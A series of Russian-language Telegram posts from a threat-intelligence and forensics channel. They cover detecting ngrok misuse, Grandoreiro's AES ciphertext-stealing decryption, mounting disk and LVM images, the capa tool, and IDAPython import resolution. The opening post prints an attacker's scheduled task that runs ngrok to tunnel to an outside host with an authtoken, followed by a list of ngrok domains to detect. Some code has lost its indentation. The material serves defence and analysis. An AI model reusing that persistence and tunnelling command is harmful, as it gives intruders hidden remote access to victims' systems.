<Exec>
<Command>C:\ProgramData\1.exe</Command>
<Arguments>tcp poc.opi.rtyo.ru:22 --authtoken qr7pKMAgTp5nfT0HTwh21sb9VsF_FwX3xkNuQqJE7MBh0gUj8</Arguments>
<WorkingDirectory>C:\ProgramData</WorkingDirectory>
</Exec>
</Actions>
</Task>


📌 Чтобы обнаружить признаки наличия инструмента на периметре, можно поискать узлы, взаимодействующие со следующими серверами:


ngrok.com
ngrok-agent.com
ngrok.io
*.equinox.io


#tip #detect #hacktool #dfir
@ptescalator
Да что не так с этим AES?

Злоумышленники часто применяют шифрование для обфускации частей образцов ВПО, которые могут представлять наибольший интерес при исследовании. Когда аналитик обнаруживает такие участки кода, он изучает алгоритм шифрования, и иногда, быстро узнав алгоритм, не видит смысла изучать его полностью.

На примере одного из семейств ВПО, замеченного в атаках на Латинскую Америку, разберем случай, в котором применяется продвинутая техника шифрования, но прячется она внутри самой, казалось бы, классической.

👾 Grandoreiro — бразильский банковский троян, который активен с 2016 года по сегодняшний день. Он доставляется в систему с помощью загрузчика, который получает ссылку на скачивание полезной нагрузки от С2-сервера.

Предыдущие схемы дешифрования строк в Grandoreiro (в частности, в загрузчике) включали кастомное декодирование зашифрованных строк, ключа AES и IV путем простой замены. Эти компоненты дешифровались с помощью XOR, и далее шифротекст расшифровывался окончательно с помощью ключа AES и IV в режиме AES CBC 256 бит.

🧐 При анализе недавних образцов Grandoreiro была замечена новая для этого семейства техника шифрования, которая применяется для усложнения анализа, — Ciphertext Stealing (CTS). Это режим шифрования, который используется, когда открытый текст не кратен размеру блока.

Например, одна из наиболее известных схем паддинга (PKCS #7) дополняет последний блок байтами, чтобы гарантировать, что он по размеру совпадает с полным блоком. CTS работает без паддинга. Его работу мы заметим над последним неполным блоком данных (который не кратен размеру блока).

Что именно происходит:

1️⃣ Шифруется последний полный блок.

2️⃣ Зашифрованный последний полный блок «ксорится» с частичным (неполным) блоком.

Такой способ предоставляет возможность шифровать открытый текст произвольной длины без добавления паддинга, сохраняя исходный размер данных.

Чтобы на практике понять, как это работает, посмотрим на реализацию алгоритма:


cipher = AES.new(aes_key, AES.MODE_ECB)
encr = b"\x00"*16
initial_key = cipher.encrypt(encr) # your value here

block_size = 16
total_blocks = len(ciphered_data) // block_size
decrypted_data = bytearray()
previous_block = initial_key

if total_blocks:
# Decrypt all complete blocks
for i in range(total_blocks):
current_block = ciphered_data[i * block_size:(i + 1) * block_size]
key = previous_block
decr_block = cipher.decrypt(current_block)
decrypted_data.extend(bytes(x ^ y for x, y in zip(decr_block, key)))
previous_block = current_block

# Handle the last block with ciphertext stealing
if len(ciphered_data) % block_size > 0:
last_full_block = previous_block
if total_blocks:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data) - (i + 1) * block_size] #take as much bytes off of the last full block (encrypted) as remained yet to decrypt (ciphertext)
partial_block = ciphered_data[(i + 1) * block_size:len(ciphered_data)] #bytes left to decrypt, not a multiple of the block size
else:
last_full_block = cipher.encrypt(last_full_block)[:len(ciphered_data)]
partial_block = ciphered_data[:len(ciphered_data)]

stolen_block = bytes(x ^ y for x, y in zip(partial_block, last_full_block))
decrypted_data.extend(stolen_block)


Метод довольно оригинальный, и в Grandoreiro он прячется внутри функций, которые реализуют обычный, на первый взгляд, AES.

Поэтому, прежде чем начинать писать скрипты расшифровки, видя заветную аббревиатуру, следует посмотреть на код внимательно — убедиться, что используется действительно классическая версия алгоритма, и не тратить часы в поиске ответа на вопрос «ну почему оно не расшифровывается?».

#TI #tip #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Mount Point — pt.1 🙂

Любое расследование — это анализ артефактов операционной системы. А чтобы их получить, зачастую приходится работать с образами виртуальных машин, типа VMDK, VDI, qcow и других.

В большинстве случаев монтирование, а потом и исследование подобных данных не представляет сложностей. Но если образ по каким-то причинам не обрабатывается популярными утилитами (FTK Imager, Arsenal Image Mounter), имеет особенности конфигурации или если вам необходимо провести какие-либо специфические процедуры, монтирование образа в виртуальную среду может оказаться непростым.

В этом и нескольких будущих постах мы дадим небольшие гайды по разрешению типовых ситуаций. Stay connected!

Case 1. Монтирование отдельных разделов из образа (все действия легко осуществимы в любом стандартном дистрибутиве ОС Linux и подсистеме WSL, если каких-то пакетов на системе нет, они без проблем устанавливаются стандартными средствами).

🐾 Шаг 1. Преобразуем имеющийся образ в формат RAW. Это наиболее универсальный формат, не содержащий никаких дополнительных данных, не имеющий сжатий и максимально поддерживаемый любыми утилитами. Образ может представлять собой один файл или несколько (например, если разные каталоги Linux разнесены на несколько виртуальных дисков). Рекомендуем использовать утилиту qemu-img:

qemu-img convert -f #Исходный формат -O #Целевой формат #Файл-источник #Файл-получатель


Это наиболее универсальный способ, поддерживающий большинство форматов виртуальных дисков (VMDK, VDI, qcow и другие), а также позволяющий собрать образ из нескольких файлов. Кроме того, можно использовать вендорские утилиты, входящие в стандартные дистрибутивы, например:

VirtualBox: VBoxManage.exe internalcommands converttoraw

VMware: vmware-vdiskmanager -r ./source-image.vmdk -t 2 ./destination-image.raw


🐾 Шаг 2. Изучаем параметры полученного образа:

fdisk -l ./#путь к файлу


И видим подобную запись:

Sector size (logical/physical): 512 bytes / 512 bytes

./vm-disk-0.raw1 : start= 2048, size= 207618048, type=83
./vm-disk-0.raw2 : start= 207620096, size= 2095104, type=82


По идентификатору раздела (их можно посмотреть здесь) определяем нужный (в примере — Type 83 Linux Partition) и считаем параметры смещения и размер диска:

512 (размер сектора) × 2048 (номер первого сектора) = 1 048 576 (смещение в байтах)

512 (размер сектора) × 207 618 048 (количество секторов) = 106 300 440 576 (размер раздела в байтах)

🐾 Шаг 3. Монтируем:

mount -o ro,loop,offset=1048576,sizelimit=106300440576 source /mountpoint


💡 Полезные заметки:

1. Для команды mount используйте опцию ro (read-only), чтобы случайно ничего не изменить в исследуемом образе.

2. При работе с образами Windows используйте опцию show_sys_files для отображения скрытых системных файлов ($MFT, $LogFile, $J и т. п.) и streams_interface=windows — для поддержки работы с альтернативными потоками.

Все! В каталоге точки монтирования видим содержимое интересующего нас раздела.

В следующем посте рассмотрим монтирование LVM-дисков и поделимся полезным скриптом. Stay tuned!

#tip #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
😏 Полезные инструменты: Mandiant capa

Представьте ситуацию: вы вирусный аналитик или специалист по расследованию инцидентов и вам необходимо в короткие сроки проанализировать большой объем бинарных файлов. В рамках этого анализа требуется разделить безвредные и потенциально опасные файлы и для последних определить их функции и предположительную роль в цепочке компрометации зараженного узла. Все это будет вам нужно для формирования картины атаки, а также для расстановки приоритетов при реагировании.

😐 Отделить хорошие файлы от плохих вы можете, например, с помощью белых списков хеш-сумм файлов, а вот с быстрым определением функций могут возникнуть трудности, так как это требует от аналитика большой насмотренности по части анализа вредоносного ПО.

К сожалению, такие распространенные инструменты, как средства просмотра строк (например, strings или FLOSS), а также анализаторы PE-файлов (например, Detect It Easy или CFF Explorer) отображают только самый низкий уровень детализации и не предлагают пользователям помощи в интерпретации полученных данных.

😠 Для решения задачи оперативного анализа кода и поиска реализованных в программе вредоносных техник можно применить сканирование с помощью эвристических движков. Эти движки используют набор правил, которые направлены на выявление специфических участков кода или отдельных артефактов, характерных для определенных техник. Хорошим примером такого движка является capa от Mandiant.

Проанализировав интересующий вас файл с помощью этого инструмента, вы можете получить перечень задетектированных техник, как например на скриншотах 1 и 2.

☹️ Как работать с этими данными? Чтобы выявить ВПО, можно поступить следующим образом:

1️⃣ Проанализировать все имеющиеся правила capa.

2️⃣ Выставить для каждого из них рейтинг опасности (например, в виде числа от 0 до 10).

3️⃣ Задать пороговое значение для классификации файла как вредоносного.

4️⃣ Суммировать рейтинги детектов анализируемого файла и сравнить их с пороговым значением: если сумма рейтингов больше, значит файл потенциально вредоносный.

Таким образом, вы сможете быстро классифицировать большие наборы файлов, а главное — понять, чем они могут навредить.

🫰 Но можно копнуть глубже и использовать capa как вспомогательный инструмент для реверса. Тут нам поможет тот факт, что детекты capa позволяют локализовать место в коде файла, где была реализована та или иная техника (скриншот 3).

Благодаря этому, если цель реверса сводится к уточнению реализации тех или иных вредоносных механизмов, удастся ускорить их обнаружение.

🤌 Ну и в качестве третьего, более специфического сценария, можно рассматривать capa как инструмент для помощи в поиске схожих образцов вредоносного ПО.

В силу того, что в capa довольно много различных правил детектирования, для анализируемых файлов можно сформировать профили детектов, которые, при достаточном количестве, будут относительно уникальны. Если при анализе потока вредоносного ПО вам будут попадаться файлы со схожими профилями, то их можно брать для сравнения и выявления новых версий семейств ВПО.

#tip #tool #malware
@ptesaclator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Mount point. Pt 2

Привет! Мы снова решили поговорить про монтирование дисков. Сегодня расскажем, как работать с контейнерами LVM. Держите короткий мануал, чтобы не гуглить и не тратить время срочного расследования.

1️⃣ Шаг 1. Смотрим информацию об имеющемся бинарном образе:

fdisk -l ./source.raw


(Как получить бинарный образ из VMDK, VDI, VHD и других форматов, писали тут).

Видим:

Device     Boot   Start   End   Blocks    Id System
disk.img1 * 1 13 104391 83 Linux
disk.img2 14 2491 19904535 8e Linux LVM


Здесь нас интересует раздел 8e — Linux LVM.

2️⃣ Шаг 2. Монтируем исходный образ на виртуальный интерфейс loop:

sudo losetup -f -P source.raw


В результате должно появиться виртуальное устройство loop-device. Смотрим его параметры:

sudo lsblk -f
loop20
├─loop20p1
├─loop20p2 ext4 1.0 f32150ec-1a4e-4871-9c1b-43219f525536
└─loop20p3 LVM2_member LVM2 001 iiB6Sv-7IZv-k329-ednM-h4Nr-tZQk-NJrMoE


(*индекс устройств может отличаться в зависимости от конфигурации оборудования)

3️⃣ Шаг 3. Сканируем полученное устройство на наличие LVM-разделов:

sudo pvscan --cache


Видим:

pvscan[3874] PV /dev/loop20p3 online.


После этого выполняем команду:

sudo vgs (для просмотра дисковых групп — volume groups):

ubuntu-vg   1   1   0 wz--n- 18.22g    0


и sudo lvs (для просмотра логических разделов — logical volumes):

ubuntu-lv ubuntu-vg -wi-a----- 18.22g


4️⃣ Шаг 4. Активируем LVM-раздел:

sudo vgchange -ay


1 logical volume(s) in volume group "ubuntu-vg" now active


5️⃣ Шаг 5. Затем монтируем с помощью известной команды mount (помним про ключ -ro, чтобы не вносить изменений):

sudo mkdir /mnt/lvm-disk
sudo mount -ro /dev/mapper/ubuntu--vg-ubuntu--lv /mnt/lvm-disk


В итоге получаем смонтированный раздел в указанной папке и выполняем дальнейшие действия.

Для размонтирования LVM используем обратную последовательность команд:

sudo umount /mnt/backup-restore (размонтируем раздел)
sudo lvchange -an /dev/mapper/ubuntu--vg-ubuntu--lv (деактивируем LVM)
sudo losetup -d /dev/loop20 (отключаем устройство)
sudo pvscan --cache (сканируем дисковую систему для обновления состояния)


Еще один пост в копилку полезных мануалов. Продолжение следует!

#tip #dfir
@ptescalator
Статический резолв импортов 👨‍💻

Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.

😠 На примере DodgeBox рассмотрим резолв, который заключается в вычислении адреса API-функции и помещении его в глобальную структуру. Реализация — на скрине 3.

Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.

Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.

Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам get_proc_by_hash и извлечет ее аргументы.

def get_hashes(resolve_API_addr, get_proc_by_hash_addr):
result = []
func: ida_funcs.func_t
func = ida_funcs.get_func(resolve_API_addr)

cur = func.start_ea
while cur < func.end_ea:
if get_operand_value(cur, 0) == get_proc_by_hash_addr:
result.append(get_args(cur))
cur = ida_search.find_code(cur, SEARCH_DOWN)

return result


Функция get_args поднимается на несколько шагов вверх от операции call и извлекает аргументы.

def get_args(call_addr):
func_name_hash = None
lib_name = None

cur = call_addr
True:
if print_insn_mnem(cur) == "mov" and print_operand(cur, 0) == "r8d":
func_name_hash = get_operand_value(cur, 1) & 0xFFFFFFFF
elif print_insn_mnem(cur) == "lea" and print_operand(cur, 0) == "rcx":
lib_name = ida_bytes.get_strlit_contents(get_operand_value(cur, 1), -1, STRTYPE_C_16).decode()

if func_name_hash and lib_name:
return lib_name, func_name_hash

cur = ida_search.find_code(cur, SEARCH_UP)


На выходе get_hashes получим список, который используем для заполнения структуры API. Основная функция будет выглядеть так:

struc: ida_struct.struc_t = ida_struct.get_struc(ida_struct.get_struc_id("API"))

funcs = get_hashes(0x180007A90, 0x1800078E0)
for i in range(1, len(funcs) + 1):

lib_name, func_name_hash = funcs[i - 1]
member: ida_struct.member_t = struc.members[i]

func_name = get_func_name(lib_name, func_name_hash, winapi_hashes_dict)
if func_name:
ida_struct.set_member_name(struc, member.soff, func_name)
func_tinfo = get_func_tinfo(func_name)
if func_tinfo:
ida_struct.set_member_tinfo(struc, member, 0, func_tinfo, 0)


Функция get_func_name проста в реализации, она находит в словаре имя API по хеш-сумме. А вот get_func_tinfo более интересна: она создает объект, содержащий прототип функции, который мы также применим к члену структуры.

def get_func_tinfo(func_name):
tinfo = ida_typeinf.get_named_type(None, func_name, 0)
if tinfo:
type_s = tinfo[1]
field_s = tinfo[2]
t = ida_typeinf.tinfo_t()
t.deserialize(None, type_s, field_s)
t.create_ptr(t)
return t
else:
return None


Функция ida_typeinf.get_named_type получает информацию о типе, который содержится в Type Library (*.til). Вызов выглядит так:

Python>get_func_tinfo("GetWindowsDirectoryW")
UINT (__stdcall *)(LPWSTR lpBuffer, UINT uSize)


Однако на самом деле функция возвращает объект типа ida_typeinf.tinfo_t.

Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.

Есть, конечно, соблазн написать функцию make_beautifully, которая сама вычитает офсеты, создаст структуру и члены внутри нее, но об этом в другой раз.

#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM